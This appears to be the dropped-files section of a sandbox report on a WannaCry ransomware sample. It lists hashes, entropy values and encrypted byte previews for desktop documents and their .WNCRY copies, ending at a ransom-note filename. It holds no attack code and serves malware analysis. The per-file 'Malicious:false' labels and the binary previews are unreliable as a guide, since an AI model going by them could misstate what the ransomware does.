                                                                                                      Entropy (8bit):7.856120375356068
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkbsLHYZ+xzT3QSmMMehep5nwRfjlA8j0zYha6zdhzaGe4C:bka4+zjj/YDi6895x1Ben
                                                                                                      MD5:2E830B72CFC8270CEBC198D41CE28BFE
                                                                                                      SHA1:B6A23FED438158ED3A53C60C62E8E47C7E7CFBE9
                                                                                                      SHA-256:3EE90E48F35491893F7904BB801BD4579EF9E3C311802FE5FF43EFC67F10FB89
                                                                                                      SHA-512:C0C26BC4CC42241CECC53B862E2E0DB5D90E01A2732F9D3352624179274BDFFBA5EAC179809085FDFDA2A7AFFEE3CD3C415E3191A5FC397EB191A8DDDDFDBB34
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......#.....^]....E.......x.tLa^..]..A.....Q..1.....7.r....1~S..]....>..,.5.!.8'..{k....0f.o..g.g.E..s..N..w.kW...`.....{*eE..X.KH.w...d....kO......Y^0_.v,Z..K..5%..........}7...%wz.2.2..N...~....@......W>o.po..Z.....p.l<=...w\. /..y.\.a.{.bf....."............$B+...0.....}..AfU...N.P.%~..I.`.....0....Tm...C..x'..\...R....*..../...}..<...o.!\M.....@...1.0h.:...l.B...W..C....!...Q....A./2...`........w.vz..1.8......;..<3:o.TvH.Y<.9^*...{._.7..loK.p..{ .u..l..h.b.zTo.Z.m.v<Bg3....W .8b........A.X,...s..O#....}..c.....EW$......Se..U"Kh.?.. .&.pRb._...q.....IqU. ...aA.F._..u....1.)3..-...}T]....4..K.......+.~.......fFR...#.).......I....A9....8;R.*...1..y...T.\]....W7.y...x..`.z.?+.>.....K..~@(....V...;*Y.B.h%....U.G..D... ..+.E.n..H.dnKC...1.r_.-.l..u....i.'....B.y.!.N.6.L....).....{..P.fJ).7.....4K5U*.E....;....b.6...K.....l\...=cs...}...P....g6..<C..s.!}=N....:g0.X.h...>.l..1..kIL..xf..8.8c..Nl .F.t.;....>.7..l.f.....`*A....lZl.V..

                                                                                                      C:\Users\user\Desktop\GIGIYTFFYT.pdf

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.817219438467339
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:3KYonPvRk/GbtgtqxT8q1/dOcA8rOFH4dWFwPMipa89:3KYmJKuwqxT8Igc/ryHSft
                                                                                                      MD5:6C64EB7602C28DC8E2F1C668E6AA76BE
                                                                                                      SHA1:EA0F74D24F0CF73EF0E849EAB3F5DBD37B35CB63
                                                                                                      SHA-256:5DE2917587EBDCDD1F98D637E668F3B6B5B9FF6EE9C922C306F31B9E2D824673
                                                                                                      SHA-512:EA76FA0656541909776D69C071D3601D8A9D62EA6016D0BD34D708F55FE241A29955150FD1B033F3A0ED2DB55F1518E0A5CFE3987BF29543526912210F0FEF15
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:P.Z=.q1.......'..j..3.E......L..~...rO..X@..!...V&>...?>..O..6.......+s.a....f._..Dhk..................A%-Ps?.C.n.V0m.............W.H9F.g*.[.........*.%.o.V..;..D.._..T.-c....=.......i.A.v.....W...=&.F...H.!...C......U.`...#.Z3.........[.='Jf.Ij;p..k%g.A.:.:.>.d....6...G.?w......9.#l.....m......~..d\....A....#.>...R..7..jk./.3...L[&w#T({`..$.Z.~....b.u...Y..F.C)..2.t....f.G.....*b.......J.<...3@....#G...c....9"....iI..W;".1..\(.... ..m..........K...O..^.p......{O....o1\.O.8d....` 3qu..W.}d3zU...&S....4.l`..y....*.......-;.....m....s .u3...Zr.....&....7....c,.......0....:}/Zo......P..G....mZD"..(. ..t...2cO.&...<...L.......1.:.S..............u6.].h.|.L.u...9Ya...^...2%._p..*S........v9-K."o.g.=V%).dP.t.o......0S..*y..].K.&......=.#..un.N...{g....k..D.p.;x.%.pI..p.....N...N.8..9P4.2..(%,.^..k...s1..?"a....C,...-..t.JVCS.v.+.@..m./.{..."..J...>[ i{..PM..+NlV3vE...E%f..?i...(..Hj........?..w .i?.,.@..@..w."@@..G...36..oW....)M..o..9.A..).D

                                                                                                      C:\Users\user\Desktop\GIGIYTFFYT.pdf.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.834321841762325
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkQXrVjdFgVD3c5oWNvi028QjAGs8aTWCfQ6d27CWNZfEf5:bk2rVBFgVaoovw8o9Cfhd27ZfK5
                                                                                                      MD5:B6574E35079A5AA2B4837F7E97344D66
                                                                                                      SHA1:2641718402AEDF1C14EAF706965FF85647721DF1
                                                                                                      SHA-256:9641C71B48364B5A06A65F7AB4E8B189AF6F1D87F9C83D779D15BAA13712C1B4
                                                                                                      SHA-512:ECAB2C3EB2C999D957B626DC43C1ED9D80173D07FEA1A4BF8D7B237AA46F1E164D399BE61E89D4ABE2D0336FDEB54B804BC35D8B4A394243EB1A15B9A2AE8E31
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....^...|NU.P.D..*...W'...5\R.......(....,.K...M.....c.......w...+....C.~..7CJ..;.D.....".<.SP.....N=....[+.2r<.S.......*.j.IL.......B.|ic...b.............[.S#.j..tN...o.......f;.6<..1....4.C..i..4D....Z.....<..ns...iH!.1...:&.].n..]...N..................:S..(....T..!.J...P^}.j..N.c}..<J....'....Y.iNy... ..x+.S.|.h~# .......f.<W7..l.I.....".7%,K#.dJi.....j....i8...I-.Zq.DF.hg+....@.t....E~.m(..$zh[lp...9.x.M..z9...<.!..]...L9-...M.i...t*..._....\.E.i....g......a..b.X..u1...l....%.q..h....{....1..&.....@..5..8.d..5EE........y.%.....y.^..)........$..-.......B....Lt=fo.:A.....0..n....:..Hd{V.c..d\x>.../D...p{.+...Jg.(..'"..Tl....].hT....W.]...Xv....&......cc.7...<...0.5.j.'"h.}j....Wo.9Q-.o.tH...`....p..T@.W.Nt.)K...HY.....M...m>=..5.YK...}.h..QM.....F.'..r.5...4.....Xx....R........Y.TY.13D.%....\/.;-1.k.f.....0...'(..(.T.m.....F.*\i.@ag...a(bgjg...`...=...d.."=:..6.=...L...*.=..#.......Sf.d.6...q..6e...o.o>.nN....i..%.m.g.

                                                                                                      C:\Users\user\Desktop\GIGIYTFFYT.pdf.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.834321841762325
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkQXrVjdFgVD3c5oWNvi028QjAGs8aTWCfQ6d27CWNZfEf5:bk2rVBFgVaoovw8o9Cfhd27ZfK5
                                                                                                      MD5:B6574E35079A5AA2B4837F7E97344D66
                                                                                                      SHA1:2641718402AEDF1C14EAF706965FF85647721DF1
                                                                                                      SHA-256:9641C71B48364B5A06A65F7AB4E8B189AF6F1D87F9C83D779D15BAA13712C1B4
                                                                                                      SHA-512:ECAB2C3EB2C999D957B626DC43C1ED9D80173D07FEA1A4BF8D7B237AA46F1E164D399BE61E89D4ABE2D0336FDEB54B804BC35D8B4A394243EB1A15B9A2AE8E31
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....^...|NU.P.D..*...W'...5\R.......(....,.K...M.....c.......w...+....C.~..7CJ..;.D.....".<.SP.....N=....[+.2r<.S.......*.j.IL.......B.|ic...b.............[.S#.j..tN...o.......f;.6<..1....4.C..i..4D....Z.....<..ns...iH!.1...:&.].n..]...N..................:S..(....T..!.J...P^}.j..N.c}..<J....'....Y.iNy... ..x+.S.|.h~# .......f.<W7..l.I.....".7%,K#.dJi.....j....i8...I-.Zq.DF.hg+....@.t....E~.m(..$zh[lp...9.x.M..z9...<.!..]...L9-...M.i...t*..._....\.E.i....g......a..b.X..u1...l....%.q..h....{....1..&.....@..5..8.d..5EE........y.%.....y.^..)........$..-.......B....Lt=fo.:A.....0..n....:..Hd{V.c..d\x>.../D...p{.+...Jg.(..'"..Tl....].hT....W.]...Xv....&......cc.7...<...0.5.j.'"h.}j....Wo.9Q-.o.tH...`....p..T@.W.Nt.)K...HY.....M...m>=..5.YK...}.h..QM.....F.'..r.5...4.....Xx....R........Y.TY.13D.%....\/.;-1.k.f.....0...'(..(.T.m.....F.*\i.@ag...a(bgjg...`...=...d.."=:..6.=...L...*.=..#.......Sf.d.6...q..6e...o.o>.nN....i..%.m.g.

                                                                                                      C:\Users\user\Desktop\GRXZDKKVDB.docx

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.8206526663316245
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:6fZp/y2UIf7olkJ/xQh4DM8pd3ve04ckq2/ooRD:q/y2UU7WyDM8/m08QMD
                                                                                                      MD5:7DAFA58757163AD3C994B6CAE4BC726B
                                                                                                      SHA1:AC307916CF9A60E8BB63EA64FF1A3D8CC40482F6
                                                                                                      SHA-256:C7839152D679E46E02F5574B09E0048D96BE4CCD8C74CC52B4BBFE2EDE7616C9
                                                                                                      SHA-512:C351089832B7E2FE47F9F9BC119C417009612CDD79F1EBAFC68A02DDE1E710ED8D8A3445C24573DB85B8F6406A4E549FC6860504B73114444862FE91E3FF8144
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:j.2NC..{k/.h)....B..A^#X~.(."|..V.....i$h..N.l..b.......p/.s.*c.6W....D...(...,..u....}4.f.F.M....%q.v..5.Pq.#..K.D.j.;Q....H.[..j...t...A..y~....}.K.V..v.}.]u..{......$./.....H.k5.{U!..e.1...;H.=vwm..Z..^......Z.<...U.?n#...&.n0s.v.f...,.U.b.?))X+Q..........AIT=..U.rC ... .:.e......}y.({..K.p..b....(.fK..y(.+.6.g..xR~...,?...$X\..*WK.:...v..4...i..J].._......#...P6.h.=.....dH.Q.$T.F...V-...P.....{x....W.$....Ew*...h..u......\.D.Nf..N..T.N...f..........3_G.jNJM.:i.s.C|5.#.i_.t:.../&.....U..L`5..:..P......m.;.[.s.z..-.g........4.z$.....Py.........(.M.>.)=....M..............e.J..v@F....,j.M.U....$..A5......6M.'.A..".7hCa.TF.......XX. ...Q.'e....S.<pnY._..f....>.Bz..\..h.G.....6_qt..:.`9..U,.cH.S.X...,W.f?.f.`.("..t.V.?.&.Y.,.]..j.S1j...J.D5...8.8O..S\...q.*..6...K..$q.pa,...)..:..)-..X..2.6X7...M....C..<...3P.#..5.....'.wj?..}..i.i.#.=.q..x..`.0..P.JF....I...]..WJ=.Y.169.".../....hZ..+.j.g.l.0y....}.....Z.......}d/.....E....

                                                                                                      C:\Users\user\Desktop\GRXZDKKVDB.docx.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.844216401813793
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkxpXN94pT64mR+6Yn/k3WASK+wJbUs0wAzHhkmDA3gL34HOAQwXIjF2Bzs6LgCt:bkxp0pT6nR+6YMQK+wqs0NqmuY34uAAy
                                                                                                      MD5:531CD68B552F899260BC6ED189644716
                                                                                                      SHA1:E41D1BCDD2E68CCE2A66D6CDD0488F0B9FE03E9B
                                                                                                      SHA-256:7D21E82B5EF0C65A67F4ACA3EDE9043A73C332C8C68A2EEB5A197BDD3A7B1E88
                                                                                                      SHA-512:5CF44F11544BF25E8EB8FA57D74EEC2F142DF29174F182D18C836DBAB4BEE6A8EE9BB54EFC3890397E4280BC6B157043344C2B1C6A71F8A09F88BE066648EDB1
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....$....O.......-...c...u-@.fY...ty9Vj...m...u....jq......5..55...)2..&7...}x....:f..J.N........lY.7.....; 2....E.w......X0..(.6...A...u.%..AOCAE!..b...,..s.t.A.......W;.8..u:....Y...h.2.y.E.Q...&....1.p....5.#>Fv..0..6...:..p...T~'.....1..M....................7;.6"Y^.I......~m}V_;KT....R....@.|..9i.K.d.0..,.i5 :38O)..s...WN....-.e.|.r...i...`NO!ax...:. .V.^..._R.4bL<G.e..8....[............2. Gz....w......:Ow....c....AnO..s..?..;.)(6....4+...(C....+^...v...Q>0...q.{ZU,...7..J.....r(......!F...n..<..f.+'?6.ul.]&H$....}3...y.B..U.Q...3...;..+.u..x!V.......(V/.m..%.......JW.....@b...WD.q2?..x.(+...r..~.A...T<gMnb...aXF.....+.....iu.6..:.'z.X...].kq.}.#^B.....L...._v5.!S`......( )......Fo.z.].....Ke.P..."yt%.).X*qjo..A2?...,r...&...RM~..T.F{..].....A.nr..X..e.*.2.0..?j..GG........,....q.vW.].h.+..O.7N.`G..o..6......~...^0... 40.XAlEg.K.6..s.2..f.S..q...H..5...cA.X.2%%..O..z.3./....k.z.z..T.~....1Yl....u4...DkH-#S.'.....d.}.;.H...".

                                                                                                      C:\Users\user\Desktop\GRXZDKKVDB.docx.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.844216401813793
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkxpXN94pT64mR+6Yn/k3WASK+wJbUs0wAzHhkmDA3gL34HOAQwXIjF2Bzs6LgCt:bkxp0pT6nR+6YMQK+wqs0NqmuY34uAAy
                                                                                                      MD5:531CD68B552F899260BC6ED189644716
                                                                                                      SHA1:E41D1BCDD2E68CCE2A66D6CDD0488F0B9FE03E9B
                                                                                                      SHA-256:7D21E82B5EF0C65A67F4ACA3EDE9043A73C332C8C68A2EEB5A197BDD3A7B1E88
                                                                                                      SHA-512:5CF44F11544BF25E8EB8FA57D74EEC2F142DF29174F182D18C836DBAB4BEE6A8EE9BB54EFC3890397E4280BC6B157043344C2B1C6A71F8A09F88BE066648EDB1
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....$....O.......-...c...u-@.fY...ty9Vj...m...u....jq......5..55...)2..&7...}x....:f..J.N........lY.7.....; 2....E.w......X0..(.6...A...u.%..AOCAE!..b...,..s.t.A.......W;.8..u:....Y...h.2.y.E.Q...&....1.p....5.#>Fv..0..6...:..p...T~'.....1..M....................7;.6"Y^.I......~m}V_;KT....R....@.|..9i.K.d.0..,.i5 :38O)..s...WN....-.e.|.r...i...`NO!ax...:. .V.^..._R.4bL<G.e..8....[............2. Gz....w......:Ow....c....AnO..s..?..;.)(6....4+...(C....+^...v...Q>0...q.{ZU,...7..J.....r(......!F...n..<..f.+'?6.ul.]&H$....}3...y.B..U.Q...3...;..+.u..x!V.......(V/.m..%.......JW.....@b...WD.q2?..x.(+...r..~.A...T<gMnb...aXF.....+.....iu.6..:.'z.X...].kq.}.#^B.....L...._v5.!S`......( )......Fo.z.].....Ke.P..."yt%.).X*qjo..A2?...,r...&...RM~..T.F{..].....A.nr..X..e.*.2.0..?j..GG........,....q.vW.].h.+..O.7N.`G..o..6......~...^0... 40.XAlEg.K.6..s.2..f.S..q...H..5...cA.X.2%%..O..z.3./....k.z.z..T.~....1Yl....u4...DkH-#S.'.....d.}.;.H...".

                                                                                                      C:\Users\user\Desktop\GRXZDKKVDB.jpg

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.7864756928636485
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:ZcMeYjaRpx9lgOKwbzy3msTwW392e4ERRKF5EjkH9XnrNMwc:Z5e3F9GTay3msTHMe4EvKrEo9Xuwc
                                                                                                      MD5:20063CD6141E829644B280E1D8855C35
                                                                                                      SHA1:CA24C75C29927901B80AC6C14C4C07981FF7AA07
                                                                                                      SHA-256:1C3FC03924D96D87ABD9FB4F36E0C1EFF64FB7A3B2072BB2E2729293D0FEB202
                                                                                                      SHA-512:E7391C42E0D8F78CD4E20F83E841A300FF71839632F2CAF4A7FB075376947317B1C4C94E587DC4F3201BC8766EC32B3BA7B73BE667470FD51B4931E7777501FB
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.`...x..b.F..P.'..W....!(..V;1.(.W..a.v...d<(+gp...k...J.....e&[.\...U#.Yx4..Q..g..?0..3 Z..Q...........r..R....|..#.2.u...$.-k.d.2.F$.v..A9...)....96&..{......n..../..+.....z>.wZ....p..?..5....,.N.>c.qg.....SZ.9...Y....G5.5P.O.2'f_4]IG..c*.t...........Q+...G..y..B..."....99....c...(.5...._.4/...)4)d.Nx.....Y..e.......p.>"...3(..#c.G..<.y.....>.....O....k .t.k..(.$....Q;b..H..........._.!../.e...\..o.f.:.M.,SkE.-0......,k.A.....(..+...G....`2pK...7....H.....R......>..1...U..n...-...#..~...u..CG.P......U....QW....~d...4.w./.B......a.J.....Zs.}..PU.=.../...:l..@....!........./....V....k...T.(......d.....#.&..i!.>d......'N..(!#.$..q........up......K0.\.....2..g..-]+!..{....8..o...;2..D...Gs..~.-...J.D@:K.9...............J}d..*.^..dYLfk..s...z8{7.\.>..p.(....p...i....=..??kAD....X.v.2.Y#I... ...Q.N...k..../.t(...>.]].c...=.C.__.i...%.Z..K>5..n.:.m9...V-.......42C.....%..x.).x..k..wz...'.."..O#..-.P._...O.../<...7O.b_.l.V{.q...]~....

                                                                                                      C:\Users\user\Desktop\GRXZDKKVDB.jpg.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.822804644901754
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bk8X7G/ceNIw3/9pWLJnMRAqM0i4YkzGDV47p6mwVzEZBPg7WFJbblfF1kAlun:bkMyDNI4WLtIPMEYkzuV48mwVCdJbblW
                                                                                                      MD5:D189C7949A820FFA426E0BE9FE366D82
                                                                                                      SHA1:C9645003607C0DA1A7DFF6AABE31C6AD3A6952A8
                                                                                                      SHA-256:70E17ABB71DE681FEECF5AF4BC4477C44F4704AC77E86BCEF6880B30B14A3189
                                                                                                      SHA-512:F97CE94E8DDFF54A6538C65B1B99BED79376A0201B0F15E4DAECD94471EDBF45FE88AD70FBCD66E9242F2CCCB647B5D08510BAC3BA4FB18C6E948D97656CBCD8
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....Tx}..[.Uk..f.?U..A=..8...'qX..3}......K.is.|..c.4.a.-...4........ .%(...Q...i....`..-t.p..^*..`?...of_.R?.t]8C.fi..OQ..Cl.....i...l...5...?../.$m.)X..yAE....A...-./5m.-...G..x7.,.*I<....U%.C.......So.B..f/).....'.4.R/..O....J|....s.3u6..#...H.I................$....X?..h...p..AC...H._...........@.,".(gq8_../...~.e7..r.Q.s$.I../....?.@g..\n.......'.b..Q..A#&\Vt24............^.V...O4(X...6.........#.C...q.2..6.Q.l./A.-rz/P..N.<^...9. ...bi.......$..P.X.rL.\//oD.....G....[...j[..N..P.-.f.....w.5.~.-f..U..:.oo..s..K.AD....1.0.._....!........n...G.Xr;.....<..<.g..J..e}0h4.H?+....h.....?H...Ss.l..F+O.{..jB.U.............+K.>.|.jT...m.....\.g.N.....v3.{.!.....;I..[u......*.X....V...>..U....\;..B..+.^.A...R.....QqH684A..&.{."....Q.....`I..vj.%....l]i9..'-.a..G8gU........\.......x......s.>...O.U/.;.{qVe......H... .....i.]..S.......H..g.<...:...M.n..h.>&Y..m,m..\.{oCH8..8..V...6..|.$>...JA.Y4.....i.EP&....D.8..h.TB....h...B.K...a.....4

                                                                                                      C:\Users\user\Desktop\GRXZDKKVDB.jpg.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.822804644901754
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bk8X7G/ceNIw3/9pWLJnMRAqM0i4YkzGDV47p6mwVzEZBPg7WFJbblfF1kAlun:bkMyDNI4WLtIPMEYkzuV48mwVCdJbblW
                                                                                                      MD5:D189C7949A820FFA426E0BE9FE366D82
                                                                                                      SHA1:C9645003607C0DA1A7DFF6AABE31C6AD3A6952A8
                                                                                                      SHA-256:70E17ABB71DE681FEECF5AF4BC4477C44F4704AC77E86BCEF6880B30B14A3189
                                                                                                      SHA-512:F97CE94E8DDFF54A6538C65B1B99BED79376A0201B0F15E4DAECD94471EDBF45FE88AD70FBCD66E9242F2CCCB647B5D08510BAC3BA4FB18C6E948D97656CBCD8
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....Tx}..[.Uk..f.?U..A=..8...'qX..3}......K.is.|..c.4.a.-...4........ .%(...Q...i....`..-t.p..^*..`?...of_.R?.t]8C.fi..OQ..Cl.....i...l...5...?../.$m.)X..yAE....A...-./5m.-...G..x7.,.*I<....U%.C.......So.B..f/).....'.4.R/..O....J|....s.3u6..#...H.I................$....X?..h...p..AC...H._...........@.,".(gq8_../...~.e7..r.Q.s$.I../....?.@g..\n.......'.b..Q..A#&\Vt24............^.V...O4(X...6.........#.C...q.2..6.Q.l./A.-rz/P..N.<^...9. ...bi.......$..P.X.rL.\//oD.....G....[...j[..N..P.-.f.....w.5.~.-f..U..:.oo..s..K.AD....1.0.._....!........n...G.Xr;.....<..<.g..J..e}0h4.H?+....h.....?H...Ss.l..F+O.{..jB.U.............+K.>.|.jT...m.....\.g.N.....v3.{.!.....;I..[u......*.X....V...>..U....\;..B..+.^.A...R.....QqH684A..&.{."....Q.....`I..vj.%....l]i9..'-.a..G8gU........\.......x......s.>...O.U/.;.{qVe......H... .....i.]..S.......H..g.<...:...M.n..h.>&Y..m,m..\.{oCH8..8..V...6..|.$>...JA.Y4.....i.EP&....D.8..h.TB....h...B.K...a.....4

                                                                                                      C:\Users\user\Desktop\GRXZDKKVDB.xlsx

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.787262195671529
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:3LGRjj/xhTjZUN9fLxk4ikDxNSgaEp8mifcP7Tf1Dw2HKlx:3i19Jj6N9fLxk49Thzpd5zL22qlx
                                                                                                      MD5:A8637B39F4B43A55B9C1ADF029EF0E3B
                                                                                                      SHA1:C07698ABFCFF231BCA0B373655BBFFD274B3FE3A
                                                                                                      SHA-256:B87C3FD7795B9B7AF2AC61D7654E3AEBCE3F209059FFE23736FD1949880B67C0
                                                                                                      SHA-512:3DCD6ED639DBD780582522EE0796DACE5D67E0A0B5AB796856CEA34A007DB9EDDE7500DF8687B2602C512789ACF6A9BDBF5D90FD1A71620F2926C77F5022007D
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:Vz.....$a.K=U$[...Z....Y..s.[.C.Z.`e....m..S..C..2..<0-I.....K*.....s5_.W.......Tg6X......<.$......]x..$.....Q...u}1...;^.H.|..c.a..Uf.cy.9.f8......]....z;..T....FWl..%.`2q.a.`....).;.E...K|..j...-....H....'.H.......e.E...2.f.!..|0.a&.D%..#...4..U....F.W.......L.9.....@..Piw..n.khWv.....[...<..X.a9x"5.{..X.I55..a|.....T...`|...1'.|..N.....H......#_:.0-..g.=...k.?~...F..X..v..).H.z....U%.4X.1..h<.....".....h.t....NN..F....=....#..gl.0y......4....U.N.B5.i.M....N.).....).G:. ..Z......6?..z...[.iGh..\..v..:.........+.T..K.b&..K..L..%..4.........1..P...u.....y..$.........k.F.3..._q..U.m.9."..t..L...UV..q.+q.......{Sx>...s.w..p.....+.S.4.8.D.........I.a....C..%....96kq.W...A...u....U..Hr0.rk.i......'s.&uG.....M..=&..6.......6..Z..yh)G.6"'%.;.../..r.eJ.......l....RR..3G[<........&u./4Y.....H....,.%.].2.C.l.v..M.C......N]S.2{O._>.#Gz@FU..I.y\....{.V.0.Nt.....U..1.jR....n...?cgI.>E...../..b.#i...4.B..x..h!D.psQZ....... ....G.....y...2.R.L0:

                                                                                                      C:\Users\user\Desktop\GRXZDKKVDB.xlsx.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.837423002479259
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkDWIqV5JbRM9jR6jq9cnAp18sIOUfGf0mM9C4hZhVFyutsSAc5D2:bkDWIqpRTO+Ap1WOiGc44o0D2
                                                                                                      MD5:A37BAD83224EE398B85FDA0C7FF3B2FD
                                                                                                      SHA1:98AC4FBEF064EC8F3E742A1A1F4A767FA6E256F5
                                                                                                      SHA-256:9903C08E850E02A4D96E1AA418873CFFFA2FAFA066183CEFE25D765C8C6D9F60
                                                                                                      SHA-512:AE5D4802900BD4C170A9A74D4791EA16938D4E6979D2B2965B9C651B9979B12579AE9C5AD64640D8704DAC16D00EE5555A15194B633AB5AB3F52698502844D9E
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....b...ny:.~.2c..$.3...n....9...-C(E...z9x.....!...h..^..L2..7.;..$R....b.xd<\.I'.@Ulc.....G_*%.Oj..}....p7!j+.G.....i....L...$......_..T..7e...Q./g<.|...0d......am*..g..."../.#...=..6.` ....|..QZ.....tI.....(.x....[...Ob.......R,4`..ZF.P..E..[..............F.8..~$?..J.w[....7.......2..Z...C.oa.-..Z..8.u..J5.2&,..l.....S..i0...Wj.m...3..............&9ky!.o5...d.@.H.X..e.=.|.+x..E....&.L.7 .tA.q...\&gQ...<.EV& 8S..|..#.?N.abH..!5.t.........p..........A].. .T..fY...*G_.D.n=.U......#sZ.p.....fL..R.B....A...G...Z.9....<.<....W.^;..4"....+.wG..g.8.E..>.7}........K...s..-.. .......".....}.=.......a..... .M.h`Gf..`W...W..[&.M.........R...W..4)...8x.!r..m3...|..V.8..g|.Ji.S.d.P._.=..Ni'..Ib....V.Z5x..4.g.4'.D.Q...y..w...x.M.j.DR..g..S]...y..q...n....c....TD.s.;...$.E.'P...`..}/......O..\."F.).....2.MY.Sr...g.$_..*.....P..[..P.J.....ze(.l.......m'k....`9L../.(r.h.`.9..M..*.w..?.}.\...?..Vr..+...."].FJt..<.S.......l..VO.0.....m....t.xE........

                                                                                                      C:\Users\user\Desktop\GRXZDKKVDB.xlsx.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.837423002479259
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkDWIqV5JbRM9jR6jq9cnAp18sIOUfGf0mM9C4hZhVFyutsSAc5D2:bkDWIqpRTO+Ap1WOiGc44o0D2
                                                                                                      MD5:A37BAD83224EE398B85FDA0C7FF3B2FD
                                                                                                      SHA1:98AC4FBEF064EC8F3E742A1A1F4A767FA6E256F5
                                                                                                      SHA-256:9903C08E850E02A4D96E1AA418873CFFFA2FAFA066183CEFE25D765C8C6D9F60
                                                                                                      SHA-512:AE5D4802900BD4C170A9A74D4791EA16938D4E6979D2B2965B9C651B9979B12579AE9C5AD64640D8704DAC16D00EE5555A15194B633AB5AB3F52698502844D9E
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....b...ny:.~.2c..$.3...n....9...-C(E...z9x.....!...h..^..L2..7.;..$R....b.xd<\.I'.@Ulc.....G_*%.Oj..}....p7!j+.G.....i....L...$......_..T..7e...Q./g<.|...0d......am*..g..."../.#...=..6.` ....|..QZ.....tI.....(.x....[...Ob.......R,4`..ZF.P..E..[..............F.8..~$?..J.w[....7.......2..Z...C.oa.-..Z..8.u..J5.2&,..l.....S..i0...Wj.m...3..............&9ky!.o5...d.@.H.X..e.=.|.+x..E....&.L.7 .tA.q...\&gQ...<.EV& 8S..|..#.?N.abH..!5.t.........p..........A].. .T..fY...*G_.D.n=.U......#sZ.p.....fL..R.B....A...G...Z.9....<.<....W.^;..4"....+.wG..g.8.E..>.7}........K...s..-.. .......".....}.=.......a..... .M.h`Gf..`W...W..[&.M.........R...W..4)...8x.!r..m3...|..V.8..g|.Ji.S.d.P._.=..Ni'..Ib....V.Z5x..4.g.4'.D.Q...y..w...x.M.j.DR..g..S]...y..q...n....c....TD.s.;...$.E.'P...`..}/......O..\."F.).....2.MY.Sr...g.$_..*.....P..[..P.J.....ze(.l.......m'k....`9L../.(r.h.`.9..M..*.w..?.}.\...?..Vr..+...."].FJt..<.S.......l..VO.0.....m....t.xE........

                                                                                                      C:\Users\user\Desktop\GRXZDKKVDB\@Please_Read_Me@.txt

                                                                                                      Download File
